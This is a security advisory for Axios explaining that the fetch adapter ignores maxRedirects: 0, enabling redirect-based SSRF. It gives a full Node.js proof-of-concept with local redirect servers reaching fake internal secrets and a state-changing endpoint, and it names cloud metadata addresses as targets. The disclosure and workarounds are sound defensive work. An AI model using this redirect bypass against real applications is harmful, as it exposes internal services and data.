Vulnerability GHSA-r4gj-5m52-g5wh
Summary
Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
Details
Summary
Axios exposes maxRedirects to limit redirect following, and maxRedirects: 0 is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API redirect mode, so the runtime default of redirect: 'follow' applies.
Applications are affected when they rely on maxRedirects: 0 and use the fetch adapter, either explicitly or because the runtime selects it.
Impact
An attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured maxRedirects: 0. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.
This should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted maxRedirects: 0 as the redirect guard.
Affected Functionality
Affected:
adapter: 'fetch'.- Runtime environments where fetch is selected by adapter resolution.
- Requests configured with
maxRedirects: 0but withoutfetchOptions.redirect: 'manual'or equivalent runtime-specific redirect control.
Not affected:
- Node HTTP adapter, which enforces
maxRedirects: 0. - Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.
Technical Details
lib/adapters/fetch.js destructures many fields from resolveConfig(config), but not maxRedirects. It then builds fetch options without a redirect key:
const resolvedOptions = {
...fetchOptions,
signal: composedSignal,
method: method.toUpperCase(),
headers: toByteStringHeaderObject(headers.normalize()),
body: data,
duplex: 'half',
credentials: isCredentialsSupported ? withCredentials : undefined,
};
Because redirect is absent, the Fetch API default is to follow redirects.
Local verification on axios 1.18.1 showed the HTTP adapter throwing with maxRedirects: 0, while the fetch adapter followed the same loopback 302 and returned the internal response.
Proof of Concept of Attack
Constrained local demonstration:
- Start server A that returns
302 Location: http://127.0.0.1:<server-b>/internal. - Start server B that returns
INTERNAL. - Compare:
await axios.get(serverA, { adapter: 'http', maxRedirects: 0 }); // throws
await axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL
Workarounds
For fetch-adapter requests, set fetchOptions: { redirect: 'manual' } where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.
Original report
Summary
Axios 1.17.0 exposes maxRedirects as a configuration option to limit redirect following, and setting it to 0 is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via follow-redirects. The fetch adapter does not read maxRedirects at all - it passes requests to the underlying fetch() call with no redirect option, which defaults to 'follow', so redirects are followed by the runtime rather than being constrained by axios maxRedirects.
In the attached PoC, a request issued with maxRedirects: 0 and adapter: 'fetch' follows a 302 redirect to an internal service and returns its response, while the same request with adapter: 'http' correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.
This affects any application that sets maxRedirects: 0 as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with adapter: 'fetch' set explicitly.
Details
The fetch adapter destructures config fields from resolveConfig at lib/adapters/fetch.js:
let {
url, method, data, signal, cancelToken, timeout,
onDownloadProgress, onUploadProgress, responseType,
headers, withCredentials, fetchOptions,
maxContentLength, maxBodyLength,
} = resolveConfig(config);
// maxRedirects is not extracted
The options object passed to fetch() has no redirect key:
const resolvedOptions = {
...fetchOptions, // redirect only set here if caller explicitly passes fetchOptions.redirect
signal: composedSignal,
method: method.toUpperCase(),
headers: toByteStringHeaderObject(headers.normalize()),
body: data,
duplex: 'half',
credentials: isCredentialsSupported ? withCredentials : undefined,
};
Because no redirect key is present, the Fetch API default of redirect: 'follow' applies, so redirects are handled by the runtime rather than constrained by axios maxRedirects. The HTTP adapter, by contrast, delegates to follow-redirects, which reads maxRedirects, enforces the cap, and strips Authorization, Cookie, and Proxy-Authorization on cross-origin redirects.
The discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites follow-redirects as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect
The behaviour difference between adapters is summarised below:
| Behaviour | HTTP adapter | Fetch adapter |
|---|---|---|
Reads config.maxRedirects |
Yes | No |
Enforces maxRedirects: 0 |
Yes -- throws on any redirect | No -- follows silently |
Strips Authorization cross-origin |
Yes (follow-redirects >=1.15.8) |
Runtime-dependent |
Strips Cookie cross-origin |
Yes | Runtime-dependent |
When is the fetch adapter selected?
- Deno, Bun, Cloudflare Workers: no Node.js
httpmodule available; the adapter list falls through to'fetch' - Explicit config:
axios.get(url, { adapter: 'fetch' }) - Custom adapter list:
axios.create({ adapter: ['fetch'] })
PoC
import http from 'http';
import axios from './index.js';
// Server A: the "trusted" external target, issues open redirects to Server B
const serverA = http.createServer((req, res) => {
if (req.url === '/api/data') {
res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });
return res.end();
}
if (req.url === '/api/change-config') {
res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });
return res.end();
}
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ ok: true }));
});
let internalHits = 0;
let internalConfig = {};
// Server B: the "internal" service, should be unreachable from the application
const serverB = http.createServer(async (req, res) => {
internalHits++;
if (req.url === '/internal/secrets') {
res.writeHead(200, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify({
secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',
role: 'arn:aws:iam::000000000000:role/FakeProductionRole',
}));
}
if (req.url === '/internal/admin/config') {
internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };
res.writeHead(200, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify({
reached: 'state-changing internal admin endpoint',
changed: true,
internalConfig,
}));
}
res.writeHead(404);
res.end();
});
await Promise.all([
new Promise((resolve, reject) => { serverA.listen(13801, '127.0.0.1', resolve); serverA.on('error', reject); }),
new Promise((resolve, reject) => { serverB.listen(13802, '127.0.0.1', resolve); serverB.on('error', reject); }),
]);
const targetUrl = 'http://127.0.0.1:13801/api/data';
const changeUrl = 'http://127.0.0.1:13801/api/change-config';
const internalUrl = 'http://127.0.0.1:13802/internal/secrets';
const internalCfg = 'http://127.0.0.1:13802/internal/admin/config';
console.log('Axios maxRedirects bypass via fetch adapter PoC');
console.log(`axios VERSION=${axios.VERSION}`);
console.log(`maxRedirects=0`);
console.log(`Target URL=${targetUrl}`);
console.log(` redirects to ${internalUrl}`);
console.log(`Change URL=${changeUrl}`);
console.log(` redirects to ${internalCfg}`);
console.log('');
// CONTROL: HTTP adapter correctly enforces maxRedirects: 0
let httpBlocked = false;
try {
await axios.get(targetUrl, { maxRedirects: 0, adapter: 'http' });
console.log('[CONTROL] HTTP adapter + maxRedirects:0 BUG: should have thrown');
} catch (err) {
httpBlocked = true;
console.log(`[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (${err.code ?? err.message})`);
}
console.log(`[CONTROL] Internal hits after HTTP adapter: ${internalHits}`);
// BYPASS: Fetch adapter silently ignores maxRedirects: 0
let fetchResponse = null;
try {
fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: 'fetch' });
console.log('[BYPASS] Fetch adapter + maxRedirects:0 SSRF succeeded ✗');
console.log(' Response:', JSON.stringify(fetchResponse.data));
} catch (err) {
console.log('[BYPASS] Fetch adapter + maxRedirects:0 redirect blocked (unexpected):', err.message);
}
console.log(`[BYPASS] Internal hits after fetch adapter: ${internalHits}`);
// BYPASS: Fetch adapter follows redirect to state-changing internal endpoint
let changedResponse = null;
try {
changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: 'fetch' });
console.log('[BYPASS] Fetch adapter state change:', JSON.stringify(changedResponse.data));
console.log(`[BYPASS] Internal hits after state change: ${internalHits}`);
} catch (err) {
console.log('[BYPASS] State change request blocked (unexpected):', err.message);
}
console.log('');
if (httpBlocked && fetchResponse && changedResponse) {
console.log('POC RESULT: fetch adapter followed redirects despite maxRedirects:0,');
console.log(' reaching internal service and mutating internal state.');
} else if (httpBlocked && fetchResponse) {
console.log('POC RESULT: fetch adapter followed redirect despite maxRedirects:0,');
console.log(' reaching internal service that should have been unreachable.');
} else if (!httpBlocked) {
console.log('POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.');
} else {
console.log('POC RESULT: fetch adapter blocked redirect -- issue may be fixed.');
}
serverA.close();
serverB.close();
Run:
node poc-max-redirects.mjs
Observed:
Axios maxRedirects bypass via fetch adapter PoC
axios VERSION=1.17.0
maxRedirects=0
Target URL=http://127.0.0.1:13801/api/data
redirects to http://127.0.0.1:13802/internal/secrets
Change URL=http://127.0.0.1:13801/api/change-config
redirects to http://127.0.0.1:13802/internal/admin/config
[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (ERR_BAD_RESPONSE)
[CONTROL] Internal hits after HTTP adapter: 0
[BYPASS] Fetch adapter + maxRedirects:0 SSRF succeeded ✗
Response: {"secret":"FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY","role":"arn:aws:iam::000000000000:role/FakeProductionRole"}
[BYPASS] Internal hits after fetch adapter: 1
[BYPASS] Fetch adapter state change: {"reached":"state-changing internal admin endpoint","changed":true,"internalConfig":{"compromised":true,"source":"redirect-followed-by-fetch-adapter"}}
[BYPASS] Internal hits after state change: 2
POC RESULT: fetch adapter followed redirects despite maxRedirects:0,
reaching internal service and mutating internal state.
Control
Axios does correctly enforce maxRedirects: 0 in the HTTP adapter. The [CONTROL] case above confirms this: the same request with adapter: 'http' throws rather than following the redirect, and the internal hit counter stays at 0:
[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (ERR_BAD_RESPONSE)
[CONTROL] Internal hits after HTTP adapter: 0
The issue is not that maxRedirects is broken globally. It is enforced correctly for the HTTP adapter. The bypass is specific to the fetch adapter, which never reads the option and passes no redirect constraint to the underlying fetch() call.
Impact
This is a redirect enforcement bypass affecting axios applications running in environments where the fetch adapter is active.
The internal admin route in the PoC simulates an affected deployment where a redirected request can reach state-changing internal APIs. The vulnerability is that maxRedirects: 0 is silently ignored by the fetch adapter; the exact impact depends on what redirect targets are reachable from the runtime.
The impact is environment- and configuration-dependent. It affects axios users who:
- Set
maxRedirects: 0as a defense against redirect-based SSRF, and - Run in an environment where the fetch adapter is selected, either by runtime (Deno, Bun, Cloudflare Workers) or by explicit configuration
In these cases, a 302 redirect from the initial target is followed silently by default, unless the caller separately sets fetchOptions.redirect. If the redirect target is an internal service, the application returns its response to the caller with no indication that a redirect occurred or that maxRedirects was not honoured. The failure is silent: no error is thrown, no warning is logged.
The bypass is not limited to read-only access. As demonstrated by the second bypass case, a redirect to a state-changing internal endpoint succeeds equally. An attacker who can influence the redirect destination, for example through an open redirect on the initial target or a server they control, can reach internal and trigger mutations that the application never intended to issue.
Potentially affected environments include:
- Deno and Bun applications using axios where the fetch adapter is the default.
- Cloudflare Workers using axios, which has no Node.js
httpmodule. - Node.js applications that explicitly configure
adapter: 'fetch'or a custom adapter list that resolves to fetch. - Any application that conditionally sets
maxRedirects: 0and runs across multiple environments with different adapter selection.
Internal services reachable via a redirect include cloud instance metadata endpoints (169.254.169.254), unauthenticated local services such as Redis or internal admin APIs, and other hosts accessible from the application's network that are not intended to be reachable by the caller. The hit counter in the PoC makes the access concrete: 0 after the HTTP control, 1 after the confidentiality bypass, 2 after the integrity bypass.
This should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that maxRedirects: 0, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection.
Related Vulnerabilities
Other vulnerabilities affecting the same packages